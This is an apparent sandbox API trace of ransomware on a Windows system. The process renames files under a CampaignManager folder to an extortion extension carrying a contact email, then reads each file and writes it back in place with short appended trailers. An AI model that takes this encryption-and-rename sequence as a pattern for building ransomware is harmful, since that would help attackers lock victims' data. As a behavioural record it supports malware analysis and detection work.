[0218.401] CloseHandle (hObject=0x66c) returned 1 [0218.401] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x523ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0218.402] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-CO\\index.html" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\es-co\\index.html"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-CO\\index.html.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\es-co\\index.html.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0218.402] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x523ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0218.403] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-CO\\index.html.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x523fc6c | out: lpFindFileData=0x523fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4a167a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4a167a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0xa0a7, dwReserved0=0x5f0032, dwReserved1=0x63005b, cFileName="index.html.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="INDEXH~1.FIR")) returned 0x6d4ec0 [0218.403] FindClose (in: hFindFile=0x6d4ec0 | out: hFindFile=0x6d4ec0) returned 1 [0218.403] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-CO\\index.html.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\es-co\\index.html.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x66c [0218.403] GetProcessHeap () returned 0x630000 [0218.403] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa0c1) returned 0x6ee88b8 [0218.403] GetProcessHeap () returned 0x630000 [0218.403] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa0c1) returned 0x71d5490 [0218.403] SetFilePointerEx (in: hFile=0x66c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.403] ReadFile (in: hFile=0x66c, lpBuffer=0x6ee88b8, nNumberOfBytesToRead=0xa0a0, lpNumberOfBytesRead=0x523ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ee88b8*, lpNumberOfBytesRead=0x523ff0c*=0xa0a0, lpOverlapped=0x0) returned 1 [0222.993] GetProcessHeap () returned 0x630000 [0222.993] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317db0 [0222.993] SetFilePointerEx (in: hFile=0x66c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0222.993] WriteFile (in: hFile=0x66c, lpBuffer=0x71d5490*, nNumberOfBytesToWrite=0xa0a0, lpNumberOfBytesWritten=0x523ff0c, lpOverlapped=0x0 | out: lpBuffer=0x71d5490*, lpNumberOfBytesWritten=0x523ff0c*=0xa0a0, lpOverlapped=0x0) returned 1 [0224.303] SetFilePointerEx (in: hFile=0x66c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0224.303] WriteFile (in: hFile=0x66c, lpBuffer=0x71df52f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x523ff0c, lpOverlapped=0x0 | out: lpBuffer=0x71df52f*, lpNumberOfBytesWritten=0x523ff0c*=0x20, lpOverlapped=0x0) returned 1 [0225.102] SetFilePointerEx (in: hFile=0x66c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0225.102] WriteFile (in: hFile=0x66c, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x523ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x523ff0c*=0x4, lpOverlapped=0x0) returned 1 [0225.102] CloseHandle (hObject=0x66c) returned 1 [0225.702] GetProcessHeap () returned 0x630000 [0225.702] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71d5490 | out: hHeap=0x630000) returned 1 [0225.702] GetProcessHeap () returned 0x630000 [0225.702] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ee88b8 | out: hHeap=0x630000) returned 1 [0225.702] GetProcessHeap () returned 0x630000 [0225.702] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317db0 | out: hHeap=0x630000) returned 1 [0227.347] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x523ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0227.347] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-CO\\index.html.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x523fcc4 | out: lpFindFileData=0x523fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4a167a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4a167a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c1d9836, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xa0cb, dwReserved0=0xa0c7496, dwReserved1=0x6ee88b0, cFileName="index.html.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="INDEXH~1.FIR")) returned 0x6d5400 [0227.347] FindClose (in: hFindFile=0x6d5400 | out: hFindFile=0x6d5400) returned 1 [0227.347] Sleep (dwMilliseconds=0x1) [0227.403] SysReAllocStringLen (in: pbstr=0x523ff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\resources\\Lock-Confirmation-page-350.png", len=0x87 | out: pbstr=0x523ff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\resources\\Lock-Confirmation-page-350.png") returned 1 [0227.403] GetProcessHeap () returned 0x630000 [0227.403] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5130) returned 0x6fe3bb0 [0227.403] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\resources\\Lock-Confirmation-page-350.png" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\resources\\lock-confirmation-page-350.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6c8 [0227.407] CloseHandle (hObject=0x6c8) returned 1 [0227.407] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x523ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0227.408] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\resources\\Lock-Confirmation-page-350.png" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\resources\\lock-confirmation-page-350.png"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\resources\\Lock-Confirmation-page-350.png.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\resources\\lock-confirmation-page-350.png.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0227.413] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x523ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0227.413] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\resources\\Lock-Confirmation-page-350.png.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x523fc6c | out: lpFindFileData=0x523fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x918a2cfb, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x918a2cfb, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0xa00a700, ftLastWriteTime.dwHighDateTime=0x1d2d49b, nFileSizeHigh=0x0, nFileSizeLow=0x203b, dwReserved0=0x670061, dwReserved1=0x2d0065, cFileName="Lock-Confirmation-page-350.png.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LOCK-C~1.FIR")) returned 0x6d4f00 [0227.413] FindClose (in: hFindFile=0x6d4f00 | out: hFindFile=0x6d4f00) returned 1 [0227.413] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\resources\\Lock-Confirmation-page-350.png.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\resources\\lock-confirmation-page-350.png.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6c8 [0227.413] GetProcessHeap () returned 0x630000 [0227.482] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x2041) returned 0x730f968 [0227.482] GetProcessHeap () returned 0x630000 [0227.482] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x2041) returned 0x707d3c0 [0227.483] SetFilePointerEx (in: hFile=0x6c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0227.483] ReadFile (in: hFile=0x6c8, lpBuffer=0x730f968, nNumberOfBytesToRead=0x2020, lpNumberOfBytesRead=0x523ff0c, lpOverlapped=0x0 | out: lpBuffer=0x730f968*, lpNumberOfBytesRead=0x523ff0c*=0x2020, lpOverlapped=0x0) returned 1 [0227.520] GetProcessHeap () returned 0x630000 [0227.520] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7177948 [0227.520] SetFilePointerEx (in: hFile=0x6c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0227.520] WriteFile (in: hFile=0x6c8, lpBuffer=0x707d3c0*, nNumberOfBytesToWrite=0x2020, lpNumberOfBytesWritten=0x523ff0c, lpOverlapped=0x0 | out: lpBuffer=0x707d3c0*, lpNumberOfBytesWritten=0x523ff0c*=0x2020, lpOverlapped=0x0) returned 1 [0227.520] SetFilePointerEx (in: hFile=0x6c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0227.520] WriteFile (in: hFile=0x6c8, lpBuffer=0x707f3df*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x523ff0c, lpOverlapped=0x0 | out: lpBuffer=0x707f3df*, lpNumberOfBytesWritten=0x523ff0c*=0x20, lpOverlapped=0x0) returned 1 [0227.520] SetFilePointerEx (in: hFile=0x6c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0227.520] WriteFile (in: hFile=0x6c8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x523ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x523ff0c*=0x4, lpOverlapped=0x0) returned 1 [0227.520] CloseHandle (hObject=0x6c8) returned 1 [0227.520] GetProcessHeap () returned 0x630000 [0227.520] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707d3c0 | out: hHeap=0x630000) returned 1 [0227.520] GetProcessHeap () returned 0x630000 [0227.520] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x730f968 | out: hHeap=0x630000) returned 1 [0227.520] GetProcessHeap () returned 0x630000 [0227.520] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7177948 | out: hHeap=0x630000) returned 1 [0227.521] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x523ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0227.521] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\resources\\Lock-Confirmation-page-350.png.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x523fcc4 | out: lpFindFileData=0x523fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x918a2cfb, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x918a2cfb, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d8f23d8, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x205f, dwReserved0=0xa0c7496, dwReserved1=0x730f960, cFileName="Lock-Confirmation-page-350.png.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LOCK-C~1.FIR")) returned 0x6d5200 [0227.521] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0227.521] Sleep (dwMilliseconds=0x1) [0229.402] SysReAllocStringLen (in: pbstr=0x523ff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\pl-PL\\toastbeginupgrade.xml", len=0x7a | out: pbstr=0x523ff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\pl-PL\\toastbeginupgrade.xml") returned 1 [0229.402] GetProcessHeap () returned 0x630000 [0229.402] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x50f4) returned 0x6fe3bb0 [0229.402] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\pl-PL\\toastbeginupgrade.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\pl-pl\\toastbeginupgrade.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a8 [0229.403] CloseHandle (hObject=0x6a8) returned 1 [0229.403] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x523ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0229.403] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\pl-PL\\toastbeginupgrade.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\pl-pl\\toastbeginupgrade.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\pl-PL\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\pl-pl\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0229.404] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x523ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0229.404] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\pl-PL\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x523fc6c | out: lpFindFileData=0x523fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f446d9f, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f446d9f, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3cc07900, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x251, dwReserved0=0x2d0064, dwReserved1=0x390031, cFileName="toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~2.FIR")) returned 0x6d5000 [0229.405] FindClose (in: hFindFile=0x6d5000 | out: hFindFile=0x6d5000) returned 1 [0229.405] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\pl-PL\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\pl-pl\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a8 [0229.405] GetProcessHeap () returned 0x630000 [0229.405] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x261) returned 0x6d8480 [0229.405] GetProcessHeap () returned 0x630000 [0229.405] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x261) returned 0x6d7f70 [0229.405] SetFilePointerEx (in: hFile=0x6a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0229.405] ReadFile (in: hFile=0x6a8, lpBuffer=0x6d8480, nNumberOfBytesToRead=0x240, lpNumberOfBytesRead=0x523ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6d8480*, lpNumberOfBytesRead=0x523ff0c*=0x240, lpOverlapped=0x0) returned 1 [0229.409] GetProcessHeap () returned 0x630000 [0229.409] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x71768e0 [0229.409] SetFilePointerEx (in: hFile=0x6a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0229.409] WriteFile (in: hFile=0x6a8, lpBuffer=0x6d7f70*, nNumberOfBytesToWrite=0x240, lpNumberOfBytesWritten=0x523ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6d7f70*, lpNumberOfBytesWritten=0x523ff0c*=0x240, lpOverlapped=0x0) returned 1 [0229.409] SetFilePointerEx (in: hFile=0x6a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0229.409] WriteFile (in: hFile=0x6a8, lpBuffer=0x6d81af*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x523ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6d81af*, lpNumberOfBytesWritten=0x523ff0c*=0x20, lpOverlapped=0x0) returned 1 [0229.409] SetFilePointerEx (in: hFile=0x6a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0229.409] WriteFile (in: hFile=0x6a8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x523ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x523ff0c*=0x4, lpOverlapped=0x0) returned 1 [0229.409] CloseHandle (hObject=0x6a8) returned 1 [0229.409] GetProcessHeap () returned 0x630000 [0229.409] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6d7f70 | out: hHeap=0x630000) returned 1 [0229.409] GetProcessHeap () returned 0x630000 [0229.409] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6d8480 | out: hHeap=0x630000) returned 1 [0229.409] GetProcessHeap () returned 0x630000 [0229.409] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71768e0 | out: hHeap=0x630000) returned 1 [0229.409] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x523ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0229.410] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\pl-PL\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x523fcc4 | out: lpFindFileData=0x523fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f446d9f, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f446d9f, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4eafcff1, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x275, dwReserved0=0x523fd20, dwReserved1=0x6d8480, cFileName="toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~2.FIR")) returned 0x6d5000 [0229.410] FindClose (in: hFindFile=0x6d5000 | out: hFindFile=0x6d5000) returned 1 [0229.410] Sleep (dwMilliseconds=0x1) [0229.417] SysReAllocStringLen (in: pbstr=0x523ff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\pl-PL\\index.html", len=0x6f | out: pbstr=0x523ff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\pl-PL\\index.html") returned 1 [0229.417] GetProcessHeap () returned 0x630000 [0229.417] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x50f0) returned 0x6fe3bb0 [0229.417] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\pl-PL\\index.html" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\pl-pl\\index.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a8 [0229.418] CloseHandle (hObject=0x6a8) returned 1 [0229.418] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x523ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0229.418] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\pl-PL\\index.html" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\pl-pl\\index.html"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\pl-PL\\index.html.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\pl-pl\\index.html.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0229.419] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x523ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0229.419] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\pl-PL\\index.html.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x523fc6c | out: lpFindFileData=0x523fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f420b1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f420b1b, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0xa1a8, dwReserved0=0x5f0032, dwReserved1=0x63005b, cFileName="index.html.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="INDEXH~1.FIR")) returned 0x6d5240 [0229.419] FindClose (in: hFindFile=0x6d5240 | out: hFindFile=0x6d5240) returned 1 [0229.419] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\pl-PL\\index.html.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\pl-pl\\index.html.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a8 [0229.420] GetProcessHeap () returned 0x630000 [0229.420] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa1c1) returned 0x73501a0 [0229.420] GetProcessHeap () returned 0x630000 [0229.420] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa1c1) returned 0x735a370 [0229.420] SetFilePointerEx (in: hFile=0x6a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0229.420] ReadFile (in: hFile=0x6a8, lpBuffer=0x73501a0, nNumberOfBytesToRead=0xa1a0, lpNumberOfBytesRead=0x523ff0c, lpOverlapped=0x0 | out: lpBuffer=0x73501a0*, lpNumberOfBytesRead=0x523ff0c*=0xa1a0, lpOverlapped=0x0) returned 1 [0233.240] GetProcessHeap () returned 0x630000 [0233.241] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317c98 [0233.241] SetFilePointerEx (in: hFile=0x6a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0233.241] WriteFile (in: hFile=0x6a8, lpBuffer=0x735a370*, nNumberOfBytesToWrite=0xa1a0, lpNumberOfBytesWritten=0x523ff0c, lpOverlapped=0x0 | out: lpBuffer=0x735a370*, 